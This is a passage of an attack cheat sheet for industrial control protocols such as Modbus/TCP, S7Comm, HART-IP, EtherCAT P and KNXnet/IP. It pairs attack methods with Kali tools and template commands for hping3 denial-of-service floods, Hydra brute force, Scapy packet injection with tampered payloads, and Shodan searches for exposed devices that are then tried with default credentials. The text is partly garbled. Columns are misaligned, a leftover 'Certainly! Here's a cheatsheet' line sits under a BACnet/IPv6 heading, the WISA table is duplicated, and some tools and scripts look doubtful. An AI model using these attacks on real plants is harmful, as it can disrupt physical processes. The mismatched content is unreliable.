Send a high volume of traffic or specific malformed packets to disrupt or overload KNX devices and cause service unavailability

Exploitation Frameworks

Metasploit Framework, ExploitDB

-

-

Utilize existing exploits within frameworks like Metasploit to automate attacks on KNX implementations

Nmap Scripting Engine

Nmap

-

-

Use Nmap’s scripting engine to execute specific scripts targeting KNX devices and identify potential vulnerabilities

IEC 62351

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Authentication Bypass

Metasploit Framework, ExploitDB

-

-

Exploit vulnerabilities in authentication mechanisms of IEC 62351 implementations to bypass security measures and gain unauthorized access

Key Management Exploitation

OpenSSL, John the Ripper, Hydra

-

-

Analyze and exploit weaknesses in key management processes used in IEC 62351 to compromise encryption or authentication mechanisms

Man-in-the-Middle (MitM)

Bettercap, Ettercap

-

-

Intercept and manipulate IEC 62351 communication to perform malicious actions, such as tampering with data or capturing sensitive information

Network Scanning

Nmap

-

-

Scan the network for IEC 62351 devices, identify open ports, and gather information about the network structure and potential vulnerabilities

Denial of Service (DoS)

Hping3, Slowloris

-

-

Launch DoS attacks against IEC 62351 devices, disrupting their availability or rendering them unresponsive

Exploitation Frameworks

Metasploit Framework, ExploitDB

-

-

Utilize existing exploits within frameworks like Metasploit to automate attacks on vulnerabilities in IEC 62351 implementations

Nmap Scripting Engine

Nmap

-

-

Use Nmap’s scripting engine to execute specific scripts targeting IEC 62351 devices and identify potential vulnerabilities

S7Comm

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Authentication Bypass

Metasploit Framework, ExploitDB

-

-

Exploit vulnerabilities in authentication mechanisms of S7Comm to bypass security measures and gain unauthorized access

Data Manipulation

Wireshark, Scapy

-

-

Capture and analyze S7Comm traffic to identify and modify data packets, potentially causing disruption or unauthorized actions

Denial of Service (DoS)

Hping3, Slowloris

-

-

Launch DoS attacks against S7Comm devices, disrupting their availability or rendering them unresponsive

Exploitation Frameworks

Metasploit Framework, ExploitDB

-

-

Utilize existing exploits within frameworks like Metasploit to automate attacks on vulnerabilities in S7Comm implementations

Network Scanning

Nmap

-

-

Scan the network for S7Comm devices, identify open ports, and gather information about the network structure and vulnerabilities

PLC-specific Tools

Siemens STEP 7, TIA Portal

-

-

Use Siemens programming tools to interact with and manipulate S7-300 and S7-400 PLCs

H1 Fieldbus

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Unauthorized Access

Metasploit Framework, ExploitDB

-

-

Exploit vulnerabilities in H1 Fieldbus implementations to gain unauthorized access to process automation and control systems

Data Manipulation

Wireshark, Scapy

-

-

Capture and analyze H1 Fieldbus traffic to identify and modify data packets, potentially causing disruption or unauthorized actions

Denial of Service (DoS)

Hping3, Slowloris

-

-

Launch DoS attacks against H1 Fieldbus devices, disrupting their availability or rendering them unresponsive

Exploitation Frameworks

Metasploit Framework, ExploitDB

-

-

Utilize existing exploits within frameworks like Metasploit to automate attacks on vulnerabilities in H1 Fieldbus implementations

Network Scanning

Nmap

-

-

Scan the network for H1 Fieldbus devices, identify open ports, and gather information about the network structure and potential vulnerabilities

PLC-specific Tools

Yokogawa FieldMate, Honeywell Experion

-

-

Use vendor-specific tools for H1 Fieldbus systems to interact with and manipulate process automation and control devices

Zigbee RF4CE

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

eavesdropping

Wireshark

-

-

Capture and analyze Zigbee RF4CE network traffic to intercept and monitor communication between remote controls and consumer electronics devices

packet injection

Scapy

-

-

Craft and inject malicious Zigbee RF4CE packets into the network to manipulate or disrupt remote control commands and compromise consumer electronics devices

sniffing network keys

KillerBee

-

-

Use the KillerBee framework to perform sniffing attacks on Zigbee RF4CE networks, capturing network keys for potential unauthorized access

network scanning

Zigbee NSE (Nmap Scripting Engine)

-

zigbee-discover

Use the zigbee-discover Nmap script to scan the network for Zigbee RF4CE devices, identify their presence, and gather information for further analysis

Zigbee exploitation

ZigDiggler

-

-

Utilize ZigDiggler, a Zigbee exploitation framework, to discover and exploit vulnerabilities in Zigbee RF4CE implementations

Foundation Fieldbus

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Man-in-the-Middle

Ettercap

-

-

Use Ettercap to perform a man-in-the-middle attack on the Foundation Fieldbus network, intercepting and manipulating communication between devices

Traffic Analysis

Wireshark

-

-

Capture and analyze Foundation Fieldbus network traffic to understand the communication patterns, identify vulnerabilities, and detect anomalies

Protocol Fuzzing

Sulley

-

-

Employ Sulley, a fuzzing framework, to test the robustness of the Foundation Fieldbus protocol by sending malformed or unexpected data to the target devices

Device Enumeration

nmap

-

-

Utilize nmap to scan the Foundation Fieldbus network, identify connected devices, and gather information about their configurations and capabilities

Protocol Reverse Engineering

IDA Pro

-

-

Use IDA Pro, a powerful disassembler and debugger, to reverse engineer the Foundation Fieldbus protocol and analyze its implementation

MMS

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Man-in-the-Middle

Ettercap

-

-

Use Ettercap to perform a man-in-the-middle attack on the MMS network, intercepting and manipulating communication between industrial systems

Traffic Analysis

Wireshark

-

-

Capture and analyze MMS network traffic to understand the communication patterns, identify vulnerabilities, and detect anomalies

Protocol Fuzzing

Sulley

-

-

Employ Sulley, a fuzzing framework, to test the robustness of the MMS protocol by sending malformed or unexpected data to the target industrial systems

Device Enumeration

nmap

-

-

Utilize nmap to scan the MMS network, identify connected industrial systems, and gather information about their configurations and capabilities

Protocol Reverse Engineering

IDA Pro

-

-

Use IDA Pro, a powerful disassembler and debugger, to reverse engineer the MMS protocol and analyze its implementation

EtherNet/IPTap

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Man-in-the-Middle

Ettercap

-

-

Use Ettercap to perform a man-in-the-middle attack on the EtherNet/IPTap network, intercepting and manipulating network traffic in EtherNet/IP networks

Traffic Analysis

Wireshark

-

-

Capture and analyze EtherNet/IPTap network traffic using Wireshark to understand the communication patterns, detect anomalies, and identify vulnerabilities

Network Scanning

nmap

-

-

Utilize nmap to scan the EtherNet/IPTap network, discover devices, and gather information about their configurations and open ports

Protocol Fuzzing

Sulley

-

-

Employ Sulley, a fuzzing framework, to test the robustness of the EtherNet/IP protocol by sending malformed or unexpected data to the network

Protocol Reverse Engineering

IDA Pro

-

-

Use IDA Pro, a powerful disassembler and debugger, to reverse engineer the EtherNet/IP protocol and analyze its implementation

MelsecNet

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Man-in-the-Middle

Ettercap

-

-

Use Ettercap to perform a man-in-the-middle attack on the MelsecNet network, intercepting and manipulating network traffic in Mitsubishi Electric PLC systems

Traffic Analysis

Wireshark

-

-

Capture and analyze MelsecNet network traffic using Wireshark to understand the communication patterns, detect anomalies, and identify vulnerabilities

Network Scanning

nmap

-

-

Utilize nmap to scan the MelsecNet network, discover devices, and gather information about their configurations and open ports

Protocol Fuzzing

Sulley

-

-

Employ Sulley, a fuzzing framework, to test the robustness of the MelsecNet protocol by sending malformed or unexpected data to the network

PLC Exploitation

-

Mitsubishi Electric PLC-specific exploits

-

Explore publicly available Mitsubishi Electric PLC-specific exploits for potential vulnerabilities in the PLC systems connected to the MelsecNet network

FOUNDATION HSE

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameCommands Description

Protocol Analysis

Wireshark

-

-

Use Wireshark to capture and analyze FOUNDATION HSE network traffic, inspecting the protocol packets, identifying vulnerabilities and analyzing communication

Traffic Injection

Scapy

-

-

Utilize Scapy, a powerful packet manipulation tool, to craft and inject custom packets into the FOUNDATION HSE network for testing and analysis

Network Scanning

nmap

-

-

Employ nmap to scan the FOUNDATION HSE network, identify active devices, and gather information about their configurations and open ports

DoS Attacks

Hping3

-

-

Use Hping3 to launch Denial-of-Service (DoS) attacks against the FOUNDATION HSE network, potentially disrupting communication or causing system unavailability

Vulnerability Scanning

OpenVAS

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the FOUNDATION HSE network and identify potential weaknesses

PROFIsafe

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

-

-

-

Use Wireshark to capture and analyze PROFIsafe network traffic, inspecting the protocol packets, identifying vulnerabilities, and analyzing communication

Traffic Manipulation

Scapy

-

-

packet = Ether() / IP() / TCP() / PROFIsafe()

Utilize Scapy, a powerful packet manipulation tool, to craft and modify PROFIsafe packets for testing and analysis. You can create a packet using the provided template, replacing the fields with appropriate values.

Network Scanning

nmap

-

-

-

Employ nmap to scan the PROFIsafe network, identify active devices, and gather information about their configurations and open ports

DoS Attacks

Hping3

-

-

-

Use Hping3 to launch Denial-of-Service (DoS) attacks against the PROFIsafe network, potentially disrupting communication or causing system unavailability

Vulnerability Scanning

OpenVAS

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the PROFIsafe network and identify potential weaknesses

CIP Safety

Attack MethodsSpecific Offensive Security Tools in Kali LinuxSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

-

-

-

Use Wireshark to capture and analyze CIP Safety network traffic, inspecting the protocol packets, identifying vulnerabilities, and analyzing communication

Traffic Manipulation

Scapy

-

-

packet = Ether() / IP() / TCP() / CIPSafety()

Utilize Scapy, a powerful packet manipulation tool, to craft and modify CIP Safety packets for testing and analysis. You can create a packet using the provided template, replacing the fields with appropriate values.

Network Scanning

nmap

-

-

-

Employ nmap to scan the CIP Safety network, identify active devices, and gather information about their configurations and open ports

DoS Attacks

Hping3

-

-

-

Use Hping3 to launch Denial-of-Service (DoS) attacks against the CIP Safety network, potentially disrupting communication or causing system unavailability

Vulnerability Scanning

OpenVAS

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the CIP Safety network and identify potential weaknesses

DeviceNet

Attack MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

Use Wireshark to capture and analyze DeviceNet network traffic, inspecting the protocol packets, identifying vulnerabilities, and analyzing communication

Traffic Manipulation

Scapy

sudo scapy

-

-

packet = Ether() / IP() / TCP() / DeviceNet()

Utilize Scapy, a powerful packet manipulation tool, to craft and modify DeviceNet packets for testing and analysis. You can create a packet using the provided template, replacing the fields with appropriate values.

Network Scanning

nmap

sudo nmap -p 44818,2222 <target_IP>

-

-

-

Employ nmap to scan the DeviceNet network, identify active devices, and gather information about their configurations and open ports

DoS Attacks

Hping3

sudo hping3 -c <packet_count> -p <port> <target_IP>

-

-

-

Use Hping3 to launch Denial-of-Service (DoS) attacks against the DeviceNet network, potentially disrupting communication or causing system unavailability

Vulnerability Scanning

OpenVAS

-

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the DeviceNet network and identify potential weaknesses

HART-IP

Attack MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

Use Wireshark to capture and analyze HART-IP network traffic, inspecting the protocol packets, identifying vulnerabilities, and analyzing communication

Traffic Manipulation

Scapy

sudo scapy

-

-

packet = Ether() / IP() / UDP() / HARTIP()

Utilize Scapy, a powerful packet manipulation tool, to craft and modify HART-IP packets for testing and analysis. You can create a packet using the provided template, replacing the fields with appropriate values.

Network Scanning

nmap

sudo nmap -sU -p 5094 <target_IP>

-

-

-

Employ nmap to scan the HART-IP network, identify active devices, and gather information about their configurations and open ports

Spoofing

Scapy

sudo scapy

-

-

packet = Ether() / IP() / UDP() / HARTIP()

Use Scapy to craft HART-IP packets with forged source IP addresses, simulating IP spoofing attacks. Modify the source IP field of the packet with the desired spoofed IP address and send it to the target

Tampering

HART-IP Tool

sudo hart_ip_tool -d <device_IP> -s "<tampered_data>"

-

-

-

Utilize the HART-IP Tool to interact with HART-IP devices and tamper with the data being exchanged. Use the command with the -d flag followed by the target device IP address and the -s flag followed by the tampered data to be sent

Vulnerability Scanning

OpenVAS

-

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the HART-IP network and identify potential weaknesses

EtherCAT P

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

-

Use Wireshark to capture and analyze EtherCAT P network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = Ether() / IP() / UDP() / EtherCATP()

-

-

send(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify EtherCAT P packets for testing and analysis. You can create a packet using the provided Scapy code template, replacing the fields with appropriate values, and then send the packet using the send() function

Network Scanning

nmap

sudo nmap -sU -p 8899 <target_IP>

-

-

-

-

Employ nmap to scan the EtherCAT P network, identify active devices, and gather information about their configurations and open ports

Brute-Force Authentication

Hydra

sudo hydra -l <username> -P <password_list> -t 4 -s 8899 <target_IP> ethercatp

-

-

-

-

Use Hydra, a powerful brute-force authentication tool, to launch a dictionary attack against the EtherCAT P devices. Replace <username> with the target username and <password_list> with a file containing a list of possible passwords. Adjust the number of threads (-t) as needed and specify the target IP address and port for the attack

Denial-of-Service (DoS)

hping3

sudo hping3 -c <packet_count> -p 8899 --udp <target_IP>

-

-

-

-

Utilize hping3 to launch a UDP-based Denial-of-Service (DoS) attack against the EtherCAT P devices. Specify the number of packets (<packet_count>) and the target IP address. Adjust other parameters as needed

Vulnerability Scanning

OpenVAS

-

-

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the EtherCAT P network and identify potential weaknesses

WISA Wireless

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

-

Use Wireshark to capture and analyze WISA Wireless network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = IP(dst="<target_IP>")/UDP(dport=49200)/Raw(load="<data_payload>")

-

-

send(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify WISA Wireless packets for testing and analysis. Create a packet with the provided Scapy code template, replacing <target_IP> with the target IP address and <data_payload> with the desired data payload. Then, send the packet using the send() function

Network Scanning

nmap

sudo nmap -sU -p 49200 <target_IP>

-

-

-

-

Employ nmap to scan the WISA Wireless network, identify active devices, and gather information about their configurations and open ports

Unauthorized Access

Wireless Sniffing

Wireshark, Aircrack-ng

-

-

-

-

Use Wireshark or Aircrack-ng to perform wireless sniffing and capture WISA Wireless traffic, attempting to intercept and analyze unauthorized access attempts

Data Integrity Issues

Packet Injection

Scapy

packet = IP(dst="<target_IP>")/UDP(dport=49200)/Raw(load="<tampered_payload>")

-

-

send(packet)

Utilize Scapy to craft WISA Wireless packets with tampered payloads, simulating data integrity issues. Modify the <target_IP> and <tampered_payload> in the Scapy code template, and then send the packet using the send() function

Vulnerability Scanning

OpenVAS

-

-

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the WISA Wireless network and identify potential weaknesses

BACnet/IPv6

Certainly! Here’s a cheatsheet for WISA Wireless, including known exploitation methods, specific offensive security tools in Kali Linux, real example commands, and more:

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

-

Use Wireshark to capture and analyze WISA Wireless network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = IP(dst="<target_IP>")/UDP(dport=49200)/Raw(load="<data_payload>")

-

-

send(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify WISA Wireless packets for testing and analysis. Create a packet with the provided Scapy code template, replacing <target_IP> with the target IP address and <data_payload> with the desired data payload. Then, send the packet using the send() function

Network Scanning

nmap

sudo nmap -sU -p 49200 <target_IP>

-

-

-

-

Employ nmap to scan the WISA Wireless network, identify active devices, and gather information about their configurations and open ports

Unauthorized Access

Wireless Sniffing

Wireshark, Aircrack-ng

-

-

-

-

Use Wireshark or Aircrack-ng to perform wireless sniffing and capture WISA Wireless traffic, attempting to intercept and analyze unauthorized access attempts

Data Integrity Issues

Packet Injection

Scapy

packet = IP(dst="<target_IP>")/UDP(dport=49200)/Raw(load="<tampered_payload>")

-

-

send(packet)

Utilize Scapy to craft WISA Wireless packets with tampered payloads, simulating data integrity issues. Modify the <target_IP> and <tampered_payload> in the Scapy code template, and then send the packet using the send() function

Vulnerability Scanning

OpenVAS

-

-

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the WISA Wireless network and identify potential weaknesses

Zigbee IP

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

-

Use Wireshark to capture and analyze Zigbee IP network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = Zigbee() / ZigbeeIP()

-

-

send(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify Zigbee IP packets for testing and analysis. Create a packet using the provided Scapy code template, and then send the packet using the send() function

Network Scanning

nmap

sudo nmap -p U:49191-49192 --script zigbee-bridge-discovery <target_IP>

-

-

zigbee-bridge-discovery

-

Employ nmap with the Zigbee bridge discovery script to scan for Zigbee IP devices and identify any accessible bridges. Specify the target IP address and the port range for the scan

Unauthorized Access

ZigDiggler

sudo zigdiggler <target_IP>

-

-

-

-

Use ZigDiggler, a Zigbee network hacking tool, to perform unauthorized access attempts on Zigbee IP devices. Replace <target_IP> with the IP address of the target device

Data Privacy Issues

Zigbee Sniffing

KillerBee, Wireshark

-

-

-

-

Utilize KillerBee tools, such as sniff or wireshark, to capture Zigbee IP traffic and analyze it in Wireshark for potential data privacy issues

Vulnerability Scanning

OpenVAS

-

-

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the Zigbee IP network and identify potential weaknesses

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

-

Use Wireshark to capture and analyze CC-Link network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = IP(dst="<target_IP>") / TCP(dport=5000) / Raw(load="<data_payload>")

-

-

send(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify CC-Link packets for testing and analysis. Create a packet using the provided Scapy code template, replacing <target_IP> with the target IP address and <data_payload> with the desired data payload. Then, send the packet using the send() function

Network Scanning

nmap

sudo nmap -p 5000 <target_IP>

-

-

-

-

Employ nmap to scan the CC-Link network, identify active devices, and gather information about their configurations and open ports

Eavesdropping

Packet Sniffing

Wireshark, tcpdump

-

-

-

-

Use packet sniffing tools like Wireshark or tcpdump to capture CC-Link network traffic and analyze it to eavesdrop on the communication

Unauthorized Access

Shodan Search, Default Credentials

Shodan

-

-

-

-

Utilize Shodan to search for CC-Link devices exposed on the internet and attempt to access them using default credentials or other known vulnerabilities

Vulnerability Scanning

OpenVAS

-

-

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the CC-Link network and identify potential weaknesses

KNXnet/IP

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

-

Use Wireshark to capture and analyze KNXnet/IP network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = IP(dst="<target_IP>") / TCP(dport=3671) / Raw(load="<data_payload>")

-

-

send(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify KNXnet/IP packets for testing and analysis. Create a packet using the provided Scapy code template, replacing <target_IP> with the target IP address and <data_payload> with the desired data payload. Then, send the packet using the send() function

Network Scanning

nmap

sudo nmap -p 3671,3672 <target_IP>

-

-

-

-

Employ nmap to scan the KNXnet/IP network, identify active devices, and gather information about their configurations and open ports

Unauthorized Access

KNX Exploitation Framework

-

-

KNX Exploitation Framework

-

-

Utilize the KNX Exploitation Framework, a specialized tool for attacking KNX systems, to attempt unauthorized access to KNXnet/IP devices

Vulnerability Scanning

OpenVAS

-

-

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the KNXnet/IP network and identify potential weaknesses

IEC 61883

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

-

Use Wireshark to capture and analyze IEC 61883 network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = IP(dst="<target_IP>") / UDP(dport=61883) / Raw(load="<data_payload>")

-

-

send(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify IEC 61883 packets for testing and analysis. Create a packet using the provided Scapy code template, replacing <target_IP> with the target IP address and <data_payload> with the desired data payload. Then, send the packet using the send() function

Network Scanning

nmap

sudo nmap -p 61883 <target_IP>

-

-

-

-

Employ nmap to scan the IEC 61883 network, identify active devices, and gather information about their configurations and open port

Eavesdropping

Packet Sniffing

Wireshark, tcpdump

-

-

-

-

Use packet sniffing tools like Wireshark or tcpdump to capture IEC 61883 network traffic and analyze it to eavesdrop on the communication

Unauthorized Access

Shodan Search, Default Credentials

Shodan

-

-

-

-

Utilize Shodan to search for IEC 61883 devices exposed on the internet and attempt to access them using default credentials or other known vulnerabilities

Vulnerability Scanning

OpenVAS

-

-

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the IEC 61883 network and identify potential weaknesses

CIP Motion

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

-

Use Wireshark to capture and analyze CIP Motion network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = IP(dst="<target_IP>") / TCP(dport=44818) / Raw(load="<data_payload>")

-

-

send(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify CIP Motion packets for testing and analysis. Create a packet using the provided Scapy code template, replacing <target_IP> with the target IP address and <data_payload> with the desired data payload. Then, send the packet using the send() function

Network Scanning

nmap

sudo nmap -p 44818,2222 <target_IP>

-

-

-

-

Employ nmap to scan the CIP Motion network, identify active devices, and gather information about their configurations and open ports

Unauthorized Access

Shodan Search, Default Credentials

Shodan

-

-

-

-

Utilize Shodan to search for CIP Motion devices exposed on the internet and attempt to access them using default credentials or other known vulnerabilities

Vulnerability Scanning

OpenVAS

-

-

-

-

-

Deploy OpenVAS, a comprehensive vulnerability scanner, to assess the security posture of the CIP Motion network and identify potential weaknesses

WirelessMBus

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameScapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

-

Use Wireshark to capture and analyze WirelessMBus network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = IP(dst="<target_IP>") / TCP(dport=50000) / Raw(load="<data_payload>")

-

-

send(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify WirelessMBus packets for testing and analysis. Create a packet using the provided Scapy code template, replacing <target_IP> with the target IP address and <data_payload> with the desired data payload. Then, send the packet using the send() function

Network Scanning

nmap

sudo nmap -p 50000 <target_IP>

-

-

-

-

Employ nmap to scan the WirelessMBus network, identify active devices, and gather information about their configurations and open port

Unauthorized Access

Default Credentials, Jamming

-

-

-

-

-

Exploit default credentials of WirelessMBus devices or perform jamming attacks to disrupt communication and potentially gain unauthorized access

Vulnerability Scanning

OpenVAS, Nessus

-

-

-

-

-

Deploy vulnerability scanners like OpenVAS or Nessus to assess the security posture of WirelessMBus devices, identifying potential vulnerabilities and weaknesses

Fieldbus HSE

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameNuclei TemplatesScrapy CodeCommands Description

Protocol Analysis

Wireshark

sudo wireshark

-

-

-

-

-

Use Wireshark to capture and analyze Fieldbus HSE network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = IP(dst="<target_IP>") / TCP(dport=2222) / Raw(load="<data_payload>")

-

-

-

send(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify Fieldbus HSE packets for testing and analysis. Create a packet using the provided Scapy code template, replacing <target_IP> with the target IP address and <data_payload> with the desired data payload. Then, send the packet using the send() function

Network Scanning

nmap

sudo nmap -p 2222 <target_IP>

-

-

-

-

-

Employ nmap to scan the Fieldbus HSE network, identify active devices, and gather information about their configurations and open port

Unauthorized Access

Default Credentials

-

-

-

-

-

-

Exploit default credentials of Fieldbus HSE devices to gain unauthorized access

Vulnerability Scanning

OpenVAS, Nessus

-

-

-

-

-

-

Deploy vulnerability scanners like OpenVAS or Nessus to assess the security posture of Fieldbus HSE devices, identifying potential vulnerabilities and weaknesses

Modbus/TCP

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameNuclei TemplatesScrapy CodeCommands Description

Packet Analysis

Wireshark

sudo wireshark

-

-

-

-

-

Use Wireshark to capture and analyze Modbus/TCP network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = Ether() / IP(dst="<target_IP>") / TCP(dport=502) / Raw(load="<data_payload>")

-

-

-

sendp(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify Modbus/TCP packets for testing and analysis. Create a packet using the provided Scapy code template, replacing <target_IP> with the target IP address and <data_payload> with the desired data payload. Then, send the packet using the sendp() function

Network Scanning

nmap

sudo nmap -p 502 <target_IP>

-

-

-

-

-

Employ nmap to scan the Modbus/TCP network, identify active devices, and gather information about their configurations and open port

Unauthorized Access

Default Credentials, Brute-Force Attacks

-

-

-

-

-

-

Exploit default credentials or perform brute-force attacks against Modbus/TCP devices to gain unauthorized access

Exploitation

PLCscan, Modbus Exploiter

plcscan -t <target_IP>

-

Metasploit

-

-

-

Use PLCscan or Modbus Exploiter tools to scan and exploit vulnerabilities in Modbus/TCP devices. For Metasploit, search for specific Modbus/TCP exploits and modules that can be used for exploitation

Denial of Service (DoS)

Modbus-Doser, MODBUSploit

-

-

-

-

-

-

Utilize tools like Modbus-Doser or MODBUSploit to launch Denial of Service attacks against Modbus/TCP devices, disrupting their normal operation

Attack MethodsKnown Exploitation MethodsSpecific Offensive Security Tools in Kali LinuxDetail Real Example CommandsSpecific Exploit in Metasploit or Exploit PackSpecific Nmap Script NameNuclei TemplatesScrapy CodeCommands Description

Packet Analysis

Wireshark

sudo wireshark

-

-

-

-

-

Use Wireshark to capture and analyze CC-Link IE network traffic, inspecting the protocol packets and identifying any vulnerabilities or anomalies in the communication

Traffic Manipulation

Scapy

sudo scapy

packet = Ether() / IP(dst="<target_IP>") / TCP(dport=44818) / Raw(load="<data_payload>")

-

-

-

sendp(packet)

Utilize Scapy, a powerful packet manipulation tool, to craft and modify CC-Link IE packets for testing and analysis. Create a packet using the provided Scapy code template, replacing <target_IP> with the target IP address and <data_payload> with the desired data payload. Then, send the packet using the sendp() function

Network Scanning

nmap

sudo nmap -p 44818 <target_IP>

-

-

-

-

-

Employ nmap to scan the CC-Link IE network, identify active devices, and gather information about their configurations and open port

Unauthorized Access

Default Credentials, Brute-Force Attacks

-

-

-

-

-

-

Exploit default credentials or perform brute-force attacks against CC-Link IE devices to gain unauthorized access

Exploitation

PLCscan, Metasploit Modules

plcscan -t <target_IP>

-

Metasploit

-

-

-

Use PLCscan or specific Metasploit modules designed for CC-Link IE to scan and exploit vulnerabilities in CC-Link IE devices.

Denial of Service (DoS)

-

-

-

-

-

-

-

